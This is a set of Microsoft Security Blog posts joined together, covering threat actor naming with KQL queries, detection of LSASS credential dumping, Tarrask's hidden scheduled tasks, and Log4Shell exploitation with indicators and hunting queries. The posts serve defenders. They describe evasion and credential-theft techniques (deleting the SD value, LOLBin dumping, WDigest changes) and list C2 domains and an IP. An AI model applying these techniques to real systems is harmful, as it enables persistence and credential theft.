Where there is a newly discovered, unknown, or emerging cluster of threat activity, we use a temporary designation of Storm (previously DEV) and a four-digit number, allowing us to track it as a unique set of information until we can reach high confidence about the origin or identity of the actor behind the operation. Once our analysis has developed to meet high confidence criteria, a Storm is converted to a named actor.

We believe this new approach, along with the new icon system shown in some of the examples above, makes it even easier to identify and remember Microsoft’s threat actors. Each icon uniquely represents a family name, and where it makes sense will accompany the threat actor names as a visual aid. This new naming approach does not in any way change who the threat actors are that we are tracking, or our current analysis behind the names.

The naming approach we have used previously (Elements, Trees, Volcanoes, and DEVs) has been retired. We have reassigned all existing threat actors to the new taxonomy, and going forward will be using the new threat actor names. Over the next few weeks, you will start seeing changes across public facing content and in-product experiences. We estimate to complete prioritized in-product updates by September 2023. There will be some surfaces that will not be updated. To ease the transition from old names to new names, we developed a reference guide at https://aka.ms/threatactors. Make sure to bookmark it for future reference.

Microsoft’s approach to threat actor tracking

The way Microsoft Threat Intelligence approaches identifying and naming threat actors is outlined below in Figure 4. As is sometimes the case, when a new threat surfaces, we don’t know all the details. We might know about a subset of victims and the malware they were infected with, and/or the command-and-control infrastructure, but we sometimes don’t immediately know the full scope of the actor’s capability or victimology. Microsoft maintains an internal process for tracking these ‘in-development’ activity clusters (now Storm-###) for reference across our hunting teams. In-development names (e.g., Storm-0257) apply to all actor types (nation-state, financially motivated, PSOA, etc.).

Storm names may persist indefinitely, but we strive to progress our understanding of all clusters of threat activity to either merge them with existing fully named actors (thereby expanding the definition), or merge multiple in-development clusters together to define a new fully named actor.

To meet the requirements of a full name, we aim to gain knowledge of the actor’s infrastructure, tooling, victimology, and motivation. We expand and update the definitions supporting our actor names based on our own telemetry, industry reporting, and a combination thereof.

The new centralized home of Microsoft threat actor intelligence

As a security industry leader, Microsoft has unique capabilities to track threats and the expectation to provide timely, consistent analysis will only increase. In a growing industry of complexity, confusion, and an overwhelming amount of data, we see an opportunity to provide customers with hyper relevant threat intelligence enabling them to implement even more proactive defenses.

We know defenders benefit from context and actionable insight– they need to understand what threat actor is behind an attack and how they can take steps to mitigate the issue. This is where Intel Profiles in Microsoft Defender Threat Intelligence can bring crucial information and context about threats.  Integrated into Microsoft 365 Defender, Intel Profiles are updated daily and put the wealth of information tracked by the Microsoft Threat Intelligence community about threat actors and their tools and techniques directly into the hands of security operations professionals so that they can investigate, analyze, and hunt for threats.

We’re excited to share this new threat actor update with you, our defenders, and help bring clarity and relevance to the threat intelligence you are getting from Microsoft.

Resources

To ease the transition to the new naming taxonomy, use this reference guide to look up the old and new names of Microsoft threat actors: https://aka.ms/threatactors.

In addition to the reference guide, we have also published a JSON file that contains the most up-to-date and comprehensive mapping of old threat actor names with their new names:  https://github.com/microsoft/mstic/blob/master/PublicFeeds/ThreatActorNaming/MicrosoftMapping.json

Microsoft customers can use the following queries to transition to the new taxonomy.

Name lookup

Use this query on Microsoft Sentinel, Microsoft 365 Defender, Azure Data Explorer, and other products that support Kusto Query Language (KQL) to get information about a threat actor using the old name, new name, or industry name:

let TANames = externaldata(PreviousName: string, NewName: string, Origin: string, OtherNames: dynamic)[@"https://raw.githubusercontent.com/microsoft/mstic/master/PublicFeeds/ThreatActorNaming/MicrosoftMapping.json"] with(format="multijson", ingestionMapping='[{"Column":"PreviousName","Properties":{"Path":"$.Previous name"}},{"Column":"NewName","Properties":{"Path":"$.New name"}},{"Column":"Origin","Properties":{"Path":"$.Origin/Threat"}},{"Column":"OtherNames","Properties":{"Path":"$.Other names"}}]');
let GetThreatActorAlias = (Name: string) {
TANames
| where Name =~ NewName or Name =~ PreviousName or OtherNames has Name
};
GetThreatActorAlias("ZINC")

TI indicator rename

Use this query on Microsoft Sentinel to look up TI indicators that have been tagged with threat actor name to get the new name.

let TANames = externaldata(PreviousName: string, NewName: string, Origin: string, OtherNames: dynamic)[@"https://raw.githubusercontent.com/microsoft/mstic/master/PublicFeeds/ThreatActorNaming/MicrosoftMapping.json"] with(format="multijson", ingestionMapping='[{"Column":"PreviousName","Properties":{"Path":"$.Previous name"}},{"Column":"NewName","Properties":{"Path":"$.New name"}},{"Column":"Origin","Properties":{"Path":"$.Origin/Threat"}},{"Column":"OtherNames","Properties":{"Path":"$.Other names"}}]');
let TIIndicatorNewTAName = (T:(Tags: string)) {
TANames
| join kind=inner T on $left.PreviousName == $right.Tags
};
TIIndicatorNewTAName((ThreatIntelligenceIndicator
| mv-expand todynamic(Tags) | extend Tags = tostring(Tags)))
| extend Indicator = case(NetworkSourceIP != "", NetworkSourceIP, 
NetworkIP != "", NetworkIP, 
DomainName != "", DomainName, 
FileHashValue != "", FileHashValue, 
Url != "", Url,
"")
| project IndicatorId, Type, Indicator, ConfidenceScore, ExpirationDateTime, PreviousName, NewName, Origin, OtherNames

Further reading

Our latest blog about the Iranian threat actor Mint Sandstorm (previously PHOSPHORUS) reflects the new naming taxonomy: Nation-state threat actor Mint Sandstorm refines tradecraft to attack high-value targets.

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

For additional insights into the threat landscape, visit the Microsoft Security Insider.

The post Microsoft shifts to a new threat actor naming taxonomy appeared first on Microsoft Security Blog.

LSASS credential dumping was first observed in the tactics, techniques, and procedures (TTPs) of several sophisticated threat activity groups—including actors that Microsoft tracks as HAFNIUM and GALLIUM— and has become prevalent even in the cybercrime space, especially with the rise of the ransomware as a service gig economy. Detecting and stopping OS credential theft is therefore important because it can spell the difference between compromising or encrypting one device versus an entire network. Security solutions must provide specific measures and capabilities to help harden the LSASS process—for example, Microsoft Defender for Endpoint has advanced detections and a dedicated attack surface reduction rule (ASR) to block credential stealing from LSASS.

In May 2022, Microsoft participated in an evaluation conducted by independent testing organization AV-Comparatives specifically on detecting and blocking the LSASS credential dumping technique. The test, which evaluated several endpoint protection platforms (EPP) and endpoint detection and response (EDR) vendors, is the first time AV-Comparatives focused on a single attack technique, and we’re happy to report that Defender for Endpoint passed all 15 test cases used to dump user OS credentials from the LSASS process, achieving 100% detection and prevention scores. Notably, we also passed all test cases with only Defender for Endpoint’s default settings configured, that is, with LSASS ASR and Protective Process Light (PPL) turned off to validate our antivirus protection durability in itself. Such results demonstrate our continued commitment to provide organizations with industry-leading defense.

In this blog, we share examples of various threat actors that we’ve recently observed using the LSASS credential dumping technique. We also provide details on the testing methodology done by AV-Comparatives, which they also shared in their blog and detailed report. Finally, we offer additional recommendations to further harden systems and prevent attackers from taking advantage of possible misconfigurations should they fail to leverage credential dumping.

LSASS credential dumping: What we see in the wild

Dumping LSASS credentials is important for attackers because if they successfully dump domain passwords, they can, for example, then use legitimate tools such as PsExec or Windows Management Instrumentation (WMI) to move laterally across the network. They can also use techniques like pass-the-hash for lateral movement if they manage to obtain the password hashes.

Microsoft researchers are constantly monitoring the threat landscape, including the different ways threat actors attempt to steal user credentials. The table below is a snapshot of the most popular credential theft techniques these actors used from March to August 2022 based on our threat data:

The first column shows the technique attackers most frequently used in their attempt to dump credentials from LSASS, while the second column shows which threat actor uses this technique most frequently. Based on the incidents we tracked from March to August 2022, credential theft attacks using  LOLBins such as comsvc.dll, procdump.exe, or taskmgr.exe are still popular. These LOLBins are legitimate, digitally signed binaries that are either already present on the target device or are downloaded onto the system for the attacker to misuse for malicious activities.

Microsoft Defender Antivirus prevents the execution of these command lines due to its synchronous command line-blocking capabilities.

AV-Comparatives test

To evaluate EPP and EDR capabilities against the LSASS credential dumping technique, AV-Comparatives ran 15 different test cases to dump credentials from the LSASS process using both publicly available hacking tools like Mimikatz (which the tester modified to bypass antivirus signatures) and privately developed ones. These test cases were as follows:

Each test case implemented a comprehensive approach on how to dump credentials from LSASS. After the evaluation, AV-Comparatives shared the logs and detailed description of the test cases. Microsoft participated using Defender for Endpoint, both its antivirus and EDR capabilities, with only the default settings configured.

During the initial run, Defender for Endpoint prevented 11 out of 15 test cases and alerted/detected three of the remaining ones (Figure 1). We then made improvements in our protection and detection capabilities and asked AV-Comparatives to re-test the missed test cases. During the re-test, we prevented all the remaining four test cases, achieving 15 out of 15 prevention score.

We’d like to thank AV-Comparatives for this thorough test, which led us to improve our protection and detection capabilities in Defender for Endpoint. These improvements have already been rolled out to benefit our customers, and we’re looking forward to the next similar test. We aim to provide industry-leading, cross-domain defense, so it’s important for us to participate in tests like AV-Comparatives and MITRE Engenuity ATT&CK Evaluations because they help us ensure that we’re delivering solutions that empower organizations to defend their environments.

Securing the LSASS process with coordinated threat defense and system hardening

The continuous evolution of the threat landscape has seen attacks leveraging OS credential theft, and threat actors will continue to find new ways to dump LSASS credentials in their attempts to evade detection. For Microsoft, our industry-leading defense capabilities in Microsoft Defender for Endpoint are able to detect such attempts. We’ve also introduced new security features in Windows 11 to harden the operating system, such as enabling PPL for the LSASS process and Credential Guard by default. However, evaluations like this AV-Comparatives test go hand in hand with threat monitoring and research because they provide security vendors additional insights and opportunities to continuously improve capabilities.

Our teams performed an in-house test of all these test cases with the LSASS ASR rule enabled to check the protection level of that rule. We’re happy to report that the ASR rule alone successfully prevented all the tested techniques. The LSASS ASR rule is a generic yet effective protection our customers can implement to stop currently known user-mode LSASS credential dumping attacks. Defender customers should therefore enable this ASR rule—along with tamper protection—as an added protection layer for the LSASS process.

On top of the various dumping techniques, we’ve also observed threat actors attempt to weaken the device settings in case they can’t dump credentials. For example, they attempt to enable “UseLogonCredential” in WDigest registry, which enables plaintext passwords in memory. Microsoft Defender Antivirus detects such techniques, too, as Behavior:Win32/WDigestNegMod.B.

Windows administrators can also perform the following to further harden the LSASS process on their devices:

• Enable PPL for LSASS process; note that for new, enterprise-joined Windows 11 installs (22H2 update), this is already enabled by default
• Enable Windows Defender Credential Guard; this is also now enabled by default for organizations using the Enterprise edition of Windows 11
• Enable restricted admin mode for Remote Desktop Protocol (RDP)
• Disable “UseLogonCredential” in WDigest

Finally, customers with Azure Active Directory (Azure AD) can follow our recommendations on hardening environments:

• Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself – Microsoft Security Blog
• Best Practices for Securing Active Directory | Microsoft Learn
• Pass the Hash | Microsoft Learn

The post Detecting and preventing LSASS credential dumping attacks appeared first on Microsoft Security Blog.

April 2023 update – Microsoft Threat Intelligence has shifted to a new threat actor naming taxonomy aligned around the theme of weather. HAFNIUM is now tracked as Silk Typhoon.

To learn about how the new taxonomy represents the origin, unique traits, and impact of threat actors, and to get a complete mapping of threat actor names, read this blog: Microsoft shifts to a new threat actor naming taxonomy.

As Microsoft continues to track the high-priority state-sponsored threat actor HAFNIUM, new activity has been uncovered that leverages unpatched zero-day vulnerabilities as initial vectors. The Microsoft Detection and Response Team (DART) in collaboration with the Microsoft Threat Intelligence Center (MSTIC) identified a multi-stage attack targeting the Zoho Manage Engine Rest API authentication bypass vulnerability to initially implant a Godzilla web shell with similar properties detailed by the Unit42 team in a previous blog.

Microsoft observed HAFNIUM from August 2021 to February 2022, target those in the telecommunication, internet service provider and data services sector, expanding on targeted sectors observed from their earlier operations conducted in Spring 2021.

Further investigation reveals forensic artifacts of the usage of Impacket tooling for lateral movement and execution and the discovery of a defense evasion malware called Tarrask that creates “hidden” scheduled tasks, and subsequent actions to remove the task attributes, to conceal the scheduled tasks from traditional means of identification.

The blog outlines the simplicity of the malware technique Tarrask uses, while highlighting that scheduled task abuse is a very common method of persistence and defense evasion—and an enticing one, at that. In this post, we will demonstrate how threat actors create scheduled tasks, how they cover their tracks, how the malware’s evasion techniques are used to maintain and ensure persistence on systems, and how to protect against this tactic.

Right on schedule: Maintaining persistence via scheduled tasks

Windows Task Scheduler is a service that allows users to perform automated tasks (scheduled tasks) on a chosen computer for legitimate administrative purposes (e.g., scheduled updates for browsers and other applications).

Throughout the course of our research, we’ve found that threat actors commonly make use of this service to maintain persistence within a Windows environment.

We’ve noted that the Tarrask malware generates several artifacts upon the creation of a scheduled task, whether using the Task Scheduler GUI or the schtasks command line utility. Profiling the use of either of these tools can aid investigators in tracking this persistence mechanism.

The following registry keys are created upon creation of a new task:

• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\TASK_NAME
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{GUID}

The first subkey, created within the Tree path, matches the name of the scheduled task. The values created within it (Id, Index, and SD) contain metadata for task registration within the system. The second subkey, created within the Tasks path, is a GUID mapping to the Id value found in the Tree key. The values created within (Actions, Path, Triggers, etc.) contain the basic parameters necessary to facilitate execution of the task.

To demonstrate the value in the artifacts generated, shown in the following figures, we have created “My Special Task” which is set to execute the binary “C:\Windows\System32\calc.exe” on a regular interval.

Similar information is also stored within an extensionless XML file created within C:\Windows\System32\Tasks, where the name of the file matches the name of the task. This is displayed in Figure 2, where we name the task “My Special Task” as an example.

Note that the “Actions” value stored within the Tasks\{GUID} key points to the command line associated with the task. In Figure 2, there is a reference to “C:\Windows\System32\calc.exe” within the “Edit Binary Value” dialog, and there is a path referenced within the “<Command>” section in the extensionless XML file in Figure 3. The fact that this value is stored within two different locations can prove useful in recovering information regarding the task’s purpose in the event the threat actor has taken steps to cover their tracks.

Finally, there are two Windows event logs that record actions related to the creation and operation of Scheduled Tasks – Event ID 4698 within the Security.evtx log, and the Microsoft-Windows-TaskScheduler/Operational.evtx log.

Neither of these are audited by default and must be explicitly turned on by an administrator. Microsoft-Windows-TaskScheduler/Maintenance.evtx will exist by default, but only contains maintenance-related information for the Task Scheduler engine.

Effectively hiding scheduled tasks

In this scenario, the threat actor created a scheduled task named “WinUpdate” via HackTool:Win64/Tarrask in order to re-establish any dropped connections to their command and control (C&C) infrastructure. This resulted in the creation of the registry keys and values described in the earlier section, however, the threat actor deleted the SD value within the Tree registry path.

In this context, SD refers to the Security Descriptor, which determines the users allowed to run the task. Interestingly, removal of this value results in the task “disappearing” from “schtasks /query” and Task Scheduler. The task is effectively hidden unless an examiner manually inspects the aforementioned registry paths.

Issuing a “reg delete” command to delete the SD value will result in an “Access Denied” error even when run from an elevated command prompt. Deletion must occur within the context of the SYSTEM user. It is for this reason that the Tarrask malware utilized token theft to obtain the security permissions associated with the lsass.exe process. Upon execution of the token theft, the malware could operate with the same privileges as LSASS, making the deletion possible.

It is also important to note that the threat actor could have chosen to completely remove the two registry keys within Tree and Tasks, and the XML file created within C:\Windows\System32\Tasks. This would effectively remove the on-disk artifacts associated with the scheduled task, but the task would continue to run according to the defined triggers until the system rebooted, or until the associated svchost.exe process responsible for executing the task was terminated.

It’s possible the threat actor wanted to ensure persistence across reboots and therefore chose not to perform those steps, instead deleting only the SD value; however, we also speculate that the threat actor was unaware that the task would continue to run even after these components were removed.

Recommendations and cyber resilience guidance

Job or task schedulers are services that have been present in the Windows operating system for many years. The attacks we described signify how the threat actor HAFNIUM displays a unique understanding of the Windows subsystem and uses this expertise to mask activities on targeted endpoints to maintain persistence on affected systems and hide in plain sight.

As such, we recognize that scheduled tasks are an effective tool for adversaries to automate certain tasks while achieving persistence, which brings us to raising awareness about this oft-overlooked technique. We also want to bring attention to the fact that threat actors may utilize this method of evasion to maintain access to high value targets in a manner that will likely remain undetected. This could be especially problematic for systems that are infrequently rebooted (e.g., critical systems such as domain controllers, database servers, etc.).

The techniques used by the actor and described in this post can be mitigated or detected by adopting the following recommendations and security guidelines¹:

• Enumerate your Windows environment registry hives looking in the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree registry hive and identify any scheduled tasks without SD (security descriptor) Value within the Task Key. Perform analysis on these tasks as needed.
• Modify your audit policy to identify Scheduled Tasks actions by enabling logging “TaskOperational” within Microsoft-Windows-TaskScheduler/Operational. Apply the recommended Microsoft audit policy settings suitable to your environment.
• Enable and centralize the following Task Scheduler logs. Even if the tasks are ‘hidden’, these logs track key events relating to them that could lead you to discovering a well-hidden persistence mechanism
  • Event ID 4698 within the Security.evtx log
  • Microsoft-Windows-TaskScheduler/Operational.evtx log
• The threat actors in this campaign used hidden scheduled tasks to maintain access to critical assets exposed to the internet by regularly re-establishing outbound communications with C&C infrastructure. Remain vigilant and monitor uncommon behavior of your outbound communications by ensuring that monitoring and alerting for these connections from these critical Tier 0 and Tier 1 assets is in place.

Indicators of compromise (IOCs)

The following list provides IOCs observed during our investigation. We encourage customers to investigate these indicators in their environments and implement detections and protections to identify past related activity and prevent future attacks against their systems.

Microsoft 365 Defender Detections

How customers can identify this in Microsoft 365 Defender:

Microsoft Defender Antivirus

Microsoft Defender for Endpoint on detects implants and components as the following:

• HackTool:Win64/Tarrask!MSR
• HackTool:Win64/Ligolo!MSR

Microsoft Defender for Endpoint detects malicious behavior observed as the following:

• Behavior:Win32/ScheduledTaskHide.A

Microsoft Sentinel Detections

Microsoft Sentinel customers can use the following detection queries to look for this activity:

• Tarrask malware hash IOC: This query identifies a hash match related to Tarrask malware across various data sources.
• Scheduled Task Hide: This query uses Windows Security Events to detect attempts by malware to hide the scheduled task by deleting the SD (Security Descriptor) value. Removal of SD value results in the scheduled task “disappearing” from “schtasks /query” and Task Scheduler.
• Microsoft Defender AV Hits: This query looks for Microsoft Defender AV detections related to Tarrask malware using SecurityAlerts table. In Microsoft Sentinel the SecurityAlerts table includes only the Device Name of the affected device, this query joins the DeviceInfo table to clearly connect other information such as Device group, IP, logged on users etc. This way, the Microsoft Sentinel user can have all the pertinent device info in one view for the alerts.

¹ The technical information contained in this article is provided for general informational and educational purposes only and is not a substitute for professional advice. Accordingly, before taking any action based upon such information, we encourage you to consult with the appropriate professionals. We do not provide any kind of guarantee of a certain outcome or result based on the information provided. Therefore, the use or reliance of any information contained in this article is solely at your own risk.

The post Tarrask malware uses scheduled tasks for defense evasion appeared first on Microsoft Security Blog.

January 10, 2022 recap – The Log4j vulnerabilities represent a complex and high-risk situation for companies across the globe. This open-source component is widely used across many suppliers’ software and services. By nature of Log4j being a component, the vulnerabilities affect not only applications that use vulnerable libraries, but also any services that use these applications, so customers may not readily know how widespread the issue is in their environment. Customers are encouraged to utilize scripts and scanning tools to assess their risk and impact. Microsoft has observed attackers using many of the same inventory techniques to locate targets. Sophisticated adversaries (like nation-state actors) and commodity attackers alike have been observed taking advantage of these vulnerabilities. There is high potential for the expanded use of the vulnerabilities.

In January, we started seeing attackers taking advantage of the vulnerabilities in internet-facing systems, eventually deploying ransomware. We have observed many existing attackers adding exploits of these vulnerabilities in their existing malware kits and tactics, from coin miners to hands-on-keyboard attacks. Organizations may not realize their environments may already be compromised. Microsoft recommends customers to do additional review of devices where vulnerable installations are discovered.  At this juncture, customers should assume broad availability of exploit code and scanning capabilities to be a real and present danger to their environments. Due to the many software and services that are impacted and given the pace of updates, this is expected to have a long tail for remediation, requiring ongoing, sustainable vigilance.

January 19, 2022 update – We added new information about an unrelated vulnerability we discovered while investigating Log4j attacks.

January 21, 2022 update – Threat and vulnerability management can now discover vulnerable Log4j libraries, including Log4j files and other files containing Log4j, packaged into Uber-JAR files.

The remote code execution (RCE) vulnerabilities in Apache Log4j 2 referred to as “Log4Shell” (CVE-2021-44228, CVE-2021-45046, CVE-2021-44832) has presented a new attack vector and gained broad attention due to its severity and potential for widespread exploitation. The majority of attacks we have observed so far have been mainly mass-scanning, coin mining, establishing remote shells, and red-team activity, but it’s highly likely that attackers will continue adding exploits for these vulnerabilities to their toolkits.

With nation-state actors testing and implementing the exploit and known ransomware-associated access brokers using it, we highly recommend applying security patches and updating affected products and services as soon as possible. Refer to the Microsoft Security Response Center blog for technical information about the vulnerabilities and mitigation recommendations.

Meanwhile, defenders need to be diligent in detecting, hunting for, and investigating related threats. This blog reports our observations and analysis of attacks that take advantage of the Log4j 2 vulnerabilities. It also provides our recommendations for using Microsoft security solutions to (1) find and remediate vulnerable services and systems and (2) detect, investigate, and respond to attacks.

This blog covers the following topics:

1. Attack vectors and observed activity
2. Finding and remediating vulnerable apps and systems
   • Threat and vulnerability management
     • Discovering affected components, software, and devices via a unified Log4j dashboard
     • Applying mitigation directly in the Microsoft 365 Defender portal
   • Microsoft 365 Defender advanced hunting
   • Microsoft Defender for Cloud
     • Microsoft Defender for servers
     • Microsoft Defender for Containers
   • Microsoft Sentinel queries
   • RiskIQ EASM and Threat Intelligence
3. Detecting and responding to exploitation attempts and other related attacker activity
   • Microsoft 365 Defender
     • Microsoft Defender Antivirus
     • Microsoft Defender for Endpoint
     • Microsoft Defender for Cloud Apps
     • Microsoft Defender for Office 365
     • Microsoft 365 Defender advanced hunting
   • Microsoft Defender for Cloud
   • Microsoft Defender for IoT
   • Microsoft Sentinel
     • Microsoft Sentinel queries
   • Azure Firewall Premium
   • Azure Web Application Firewall (WAF)
4. Indicators of compromise (IoCs)

Attack vectors and observed activity

Microsoft’s unified threat intelligence team, comprising the Microsoft Threat Intelligence Center (MSTIC), Microsoft 365 Defender Threat Intelligence Team, RiskIQ, and the Microsoft Detection and Response Team (DART), among others, have been tracking threats taking advantage of the remote code execution (RCE) vulnerabilities in Apache Log4j 2 referred to as “Log4Shell”.

The bulk of attacks that Microsoft has observed at this time have been related to mass scanning by attackers attempting to thumbprint vulnerable systems, as well as scanning by security companies and researchers. An example pattern of attack would appear in a web request log with strings like the following:

An attacker performs an HTTP request against a target system, which generates a log using Log4j 2 that leverages JNDI to perform a request to the attacker-controlled site. The vulnerability then causes the exploited process to reach out to the site and execute the payload.  In many observed attacks, the attacker-owned parameter is a DNS logging system, intended to log a request to the site to fingerprint the vulnerable systems.

The specially crafted string that enables exploitation of the vulnerabilities can be identified through several components. The string contains “jndi”, which refers to the Java Naming and Directory Interface. Following this, the protocol, such as “ldap”, “ldaps”, “rmi”, “dns”, “iiop”, or “http”, precedes the attacker domain.

As security teams work to detect the exploitation, attackers have added obfuscation to these requests to evade detections based on request patterns. We’ve seen things like running a lower or upper command within the exploitation string and even more complicated obfuscation attempts, such as the following, that are all trying to bypass string-matching detections:

The vast majority of observed activity has been scanning, but exploitation and post-exploitation activities have also been observed. Based on the nature of the vulnerabilities, once the attacker has full access and control of an application, they can perform a myriad of objectives. Microsoft has observed activities including installing coin miners, using Cobalt Strike to enable credential theft and lateral movement, and exfiltrating data from compromised systems.

Exploitation continues on non-Microsoft hosted Minecraft servers

Minecraft customers running their own servers are encouraged to deploy the latest Minecraft server update as soon as possible to protect their users. More information can be found here: https://aka.ms/mclog.

Microsoft can confirm public reports of the Khonsari ransomware family being delivered as payload post-exploitation, as discussed by Bitdefender. In Microsoft Defender Antivirus data we have observed a small number of cases of this being launched from compromised Minecraft clients connected to modified Minecraft servers running a vulnerable version of Log4j 2 via the use of a third-party Minecraft mods loader.

In these cases, an adversary sends a malicious in-game message to a vulnerable Minecraft server, which exploits CVE-2021-44228 to retrieve and execute an attacker-hosted payload on both the server and on connected vulnerable clients. We observed exploitation leading to a malicious Java class file that is the Khonsari ransomware, which is then executed in the context of javaw.exe to ransom the device.

While it’s uncommon for Minecraft to be installed in enterprise networks, we have also observed PowerShell-based reverse shells being dropped to Minecraft client systems via the same malicious message technique, giving an actor full access to a compromised system, which they then use to run Mimikatz to steal credentials. These techniques are typically associated with enterprise compromises with the intent of lateral movement. Microsoft has not observed any follow-on activity from this campaign at this time, indicating that the attacker may be gathering access for later use.

Due to the shifts in the threat landscape, Microsoft reiterates the guidance for Minecraft customers running their own servers to deploy the latest Minecraft server update and for players to exercise caution by only connecting to trusted Minecraft servers.

Nation-state activity

April 2023 update – Microsoft Threat Intelligence has shifted to a new threat actor naming taxonomy aligned around the theme of weather. To learn more about this evolution, how the new taxonomy represents the origin, unique traits, and impact of threat actors, and a complete mapping of threat actor names, read this blog: Microsoft shifts to a new threat actor naming taxonomy.

MSTIC has also observed the CVE-2021-44228 vulnerability being used by multiple tracked nation-state activity groups originating from China, Iran, North Korea, and Turkey. This activity ranges from experimentation during development, integration of the vulnerabilities to in-the-wild payload deployment, and exploitation against targets to achieve the actor’s objectives.

For example, MSTIC has observed PHOSPHORUS, an Iranian actor known to deploy ransomware, acquiring and making modifications of the Log4j exploit. We assess that PHOSPHORUS has operationalized these modifications.

In addition, HAFNIUM, a threat actor group operating out of China, has been observed utilizing the vulnerability to attack virtualization infrastructure to extend their typical targeting. In these attacks, HAFNIUM-associated systems were observed using a DNS service typically associated with testing activity to fingerprint systems.

Access brokers associated with ransomware

MSTIC and the Microsoft 365 Defender team have confirmed that multiple tracked activity groups acting as access brokers have begun using the vulnerability to gain initial access to target networks. These access brokers then sell access to these networks to ransomware-as-a-service affiliates. We have observed these groups attempting exploitation on both Linux and Windows systems, which may lead to an increase in human-operated ransomware impact on both of these operating system platforms.

Mass scanning activity continues

The vast majority of traffic observed by Microsoft remains mass scanners by both attackers and security researchers. Microsoft has observed rapid uptake of the vulnerability into existing botnets like Mirai, existing campaigns previously targeting vulnerable Elasticsearch systems to deploy cryptocurrency miners, and activity deploying the Tsunami backdoor to Linux systems. Many of these campaigns are running concurrent scanning and exploitation activities for both Windows and Linux systems, using Base64 commands included in the JDNI:ldap:// request to launch bash commands on Linux and PowerShell on Windows.

Microsoft has also continued to observe malicious activity performing data leakage via the vulnerability without dropping a payload. This attack scenario could be especially impactful against network devices that have SSL termination, where the actor could leak secrets and data.

Additional RAT payloads

We’ve observed the dropping of additional remote access toolkits and reverse shells via exploitation of CVE-2021-44228, which actors then use for hands-on-keyboard attacks. In addition to the Cobalt Strike and PowerShell reverse shells seen in earlier reports, we’ve also seen Meterpreter, Bladabindi, and HabitsRAT. Follow-on activities from these shells have not been observed at this time, but these tools have the ability to steal passwords and move laterally.

This activity is split between a percentage of small-scale campaigns that may be more targeted or related to testing, and the addition of CVE-2021-44428 to existing campaigns that were exploiting vulnerabilities to drop remote access tools. In the HabitsRAT case, the campaign was seen overlapping with infrastructure used in prior campaigns.

Webtoos

The Webtoos malware has DDoS capabilities and persistence mechanisms that could allow an attacker to perform additional activities. As reported by RiskIQ, Microsoft has seen Webtoos being deployed via the vulnerability. Attackers’ use of this malware or intent is not known at this time, but the campaign and infrastructure have been in use and have been targeting both Linux and Windows systems prior to this vulnerability.

A note on testing services and assumed benign activity

While services such as interact.sh, canarytokens.org, burpsuite, and dnslog.cn may be used by IT organizations to profile their own threat footprints, Microsoft encourages including these services in your hunting queries and validating observations of these in environments to ensure they are intentional and legitimate activity.

Exploitation in internet-facing systems leads to ransomware

As early as January 4, attackers started exploiting the CVE-2021-44228 vulnerability in internet-facing systems running VMware Horizon. Our investigation shows that successful intrusions in these campaigns led to the deployment of the NightSky ransomware.

These attacks are performed by a China-based ransomware operator that we’re tracking as DEV-0401. DEV-0401 has previously deployed multiple ransomware families including LockFile, AtomSilo, and Rook, and has similarly exploited Internet-facing systems running Confluence (CVE-2021-26084) and on-premises Exchange servers (CVE-2021-34473).

Based on our analysis, the attackers are using command and control (CnC) servers that spoof legitimate domains. These include service[.]trendmrcio[.]com, api[.]rogerscorp[.]org, api[.]sophosantivirus[.]ga, apicon[.]nvidialab[.]us, w2zmii7kjb81pfj0ped16kg8szyvmk.burpcollaborator[.]net, and 139[.]180[.]217[.]203.

Attackers propagating Log4j attacks via previously undisclosed vulnerability

During our sustained monitoring of threats taking advantage of the Log4j 2 vulnerabilities, we observed activity related to attacks being propagated via a previously undisclosed vulnerability in the SolarWinds Serv-U software. We discovered that the vulnerability, now tracked as CVE-2021-35247, is an input validation vulnerability that could allow attackers to build a query given some input and send that query over the network without sanitation.

We reported our discovery to SolarWinds, and we’d like to thank their teams for immediately investigating and working to remediate the vulnerability. We strongly recommend affected customers to apply security updates released by referring to the SolarWinds advisory here: https://www.solarwinds.com/trust-center/security-advisories/cve-2021-35247.

Microsoft customers can use threat and vulnerability management in Microsoft Defender for Endpoint to identify and remediate devices that have this vulnerability. In addition, Microsoft Defender Antivirus and Microsoft Defender for Endpoint detect malicious behavior related to the observed activity.

Finding and remediating vulnerable apps and systems

Threat and vulnerability management

Threat and vulnerability management capabilities in Microsoft Defender for Endpoint monitor an organization’s overall security posture and equip customers with real-time insights into organizational risk through continuous vulnerability discovery, intelligent prioritization, and the ability to seamlessly remediate vulnerabilities.

Discovering affected components, software, and devices via a unified Log4j dashboard

Threat and vulnerability management automatically and seamlessly identifies devices affected by the Log4j vulnerabilities and the associated risk in the environment and significantly reduces time-to-mitigate. Microsoft continues to iterate on these features based on the latest information from the threat landscape. This section will be updated as those new features become available for customers.

The wide use of Log4j across many supplier’s products challenge defender teams to mitigate and address the risks posed by the vulnerabilities (CVE-2021-44228 or CVE-2021-45046).  The threat and vulnerability management capabilities within Microsoft 365 Defender can help identify vulnerable installations. On December 15, we began rolling out updates to provide a consolidated view of the organizational exposure to the Log4j 2 vulnerabilities—on the device, software, and vulnerable component level—through a range of automated, complementing capabilities. These capabilities are supported on Windows 10, Windows 11, and Windows Server 2008, 2012, and 2016. They are also supported on Linux, but they require updating the Microsoft Defender for Endpoint Linux client to version 101.52.57 (30.121092.15257.0) or later. The updates include the following:

• Discovery of vulnerable Log4j library components (paths) on devices
• Discovery of vulnerable installed applications that contain the Log4j library on devices
• A dedicated Log4j dashboard that provides a consolidated view of various findings across vulnerable devices, vulnerable software, and vulnerable files
• Introduction of a new schema in advanced hunting, DeviceTvmSoftwareEvidenceBeta, which surfaces file-level findings from the disk and provides the ability to correlate them with additional context in advanced hunting:

DeviceTvmSoftwareEvidenceBeta
| mv-expand DiskPaths
| where DiskPaths contains "log4j"
| project DeviceId, SoftwareName, SoftwareVendor, SoftwareVersion, DiskPaths

To complement this new table, the existing DeviceTvmSoftwareVulnerabilities table in advanced hunting can be used to identify vulnerabilities in installed software on devices:

DeviceTvmSoftwareVulnerabilities 
| where CveId in ("CVE-2021-44228", "CVE-2021-45046")

